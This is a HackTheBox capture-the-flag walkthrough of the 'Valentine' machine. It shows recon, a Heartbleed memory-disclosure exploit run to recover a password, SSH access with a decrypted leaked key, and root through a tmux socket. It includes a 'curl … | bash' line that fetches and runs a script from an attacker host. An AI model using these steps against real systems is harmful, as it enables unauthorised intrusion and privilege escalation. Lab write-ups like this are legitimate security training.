Valentine — A Heartbleed HackTheBox Walk-Through

Bleeding hearts of the world unite

I finished Valentine back in May but it retired recently so I thought I’d post a writeup of how I got to root on this box.

Summary

Valentine is a Linux machine running a web service that is vulnerable to Heartbleed. This vulnerability was leveraged to gain a password dumped from memory. The password was combined with an encrypted RSA key found in a web directory to gain SSH access on the host. From there, a process running as root was accessed to gain an interactive shell with elevated privileges.

Recon

I started this off as usual with a nmap -sV -sC scan to enumerate service versions and run default scripts:

nmap

I was able to see SSH was open and there were web services running on 80 and 443. When I visited each of the web services, they both returned the same homepage with no hyperlinks or directories listed in the sourcecode. Each of these services returned OS information indicating an Ubuntu host.

I then moved on to enumerating web directories with gobuster:

gobuster -k -u https://10.10.10.79 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster
-k to ignore SSL certificate (otherwise the self-signed cert throws an error)
-u to specify URL
-w to specify wordlist

From here, I went to the /dev directory to at least see what was there. I found two files: hype_key and notes.txt.

notes.txt

The other file, hype_key, looked like a bunch of hex values. I pulled it into a file using curl and it looked like this:

curl -k https://10.10.10.79/dev/hype_key > hype_key
hype_key

I was able to put this in Burpsuite and decode it from ASCII hex to plaintext and it was an encrypted RSA key with a body that was poorly formatted:

pretty messed up

Ok, so we know that something in here should look like an RSA key. But there’s a lot of extra space characters making it look super a e s t h e t i c. I decided to convert the file with python and strip the space characters out in just a couple of lines.

cleaning up hype_key with python

The final product looked exactly how it was supposed to!

now this is much better

Great! But without a password, this key isn’t very useful. So I had to go back to the server and find something else to poke at. The pages at the /encode and /decode directories appeared to be simple base64 converters. The source code wasn’t visible on the page and there were no links to anything else on the pages, so I felt like that wasn’t a rabbit hole worth falling into.

Exploit

The Heartbleed logo on the homepage was a significant hint to what this box was about. And since I didn’t find much else on the box, I ran a searchsploit and found there were a couple exploit scripts available for this as well as some metasploit modules. One that worked well for me was titled “OpenSSL TLS Heartbeat Extension — ‘Heartbleed’ Memory Disclosure”. In kali, the file name is located at /usr/share/exploitdb/exploits/multiple/remote/32745.py

./32745.py 10.10.10.79
Heartbleed

This exploit was very messy when the box was receiving more traffic. I revisited it to run the exploit for the gist after it was retired and the only thing in the memory dump was exactly what I needed. However, with other traffic hitting the server, I had to run the exploit multiple times to get the right information to dump. Anyway, what I needed was:

$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==

This was getting passed into /decode.php so we can try to base64 decode it:

echo aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== | base64 -d

This returns the string heartbleedbelievethehype which we can try to use to decrypt the RSA key:

openssl rsa -in python.key -out new.key

When prompted, enter the password, and a new RSA key is written into a file named new.key! We can use this key to SSH into Valentine… but what’s the user? This step just took blind guessing but eventually I guessed based off of the key and password to try the user hype with the following command:

ssh hype@10.10.10.79 -i new.key

And I was in! I was able to get the user.txt flag from here.

Privilege Escalation

From here, I did my typical enumeration for a Linux host. I ran LinEnum.sh and began examining the output to get more context to what’s taking place on the host and what I have access to.

My favorite way to run this is by placing this bash script in a directory in Kali and hosting it using a python SimpleHTTPServer:

python -m SimpleHTTPServer 80

Then on the remote machine, curl the script on and piping it straight into bash:

curl http://X.X.X.X/Linenum.sh | bash

No files written on the host!

Anyway, as much as that returns, I wasn’t able to directly identify my privesc path with this script. I had to get my hands dirty and climb around the host manually. There was a hidden .dev folder right off the root directory. This caught my eye and I found a file named dev_sess in it that was owned by root but was executable by everyone.

Running thefile command on dev_sess returned that it was a ‘socket’. A little GoogleFu later and I discovered that the program tmux can connect to these files and return interactive shells with them! Let’s give it a shot:

tmux -S /.devs/dev_sess

Sure enough, this returned a shell that was running as root! Game over.

Like what you read? Give Mitch Moser a round of applause.

From a quick cheer to a standing ovation, clap to show how much you enjoyed this story.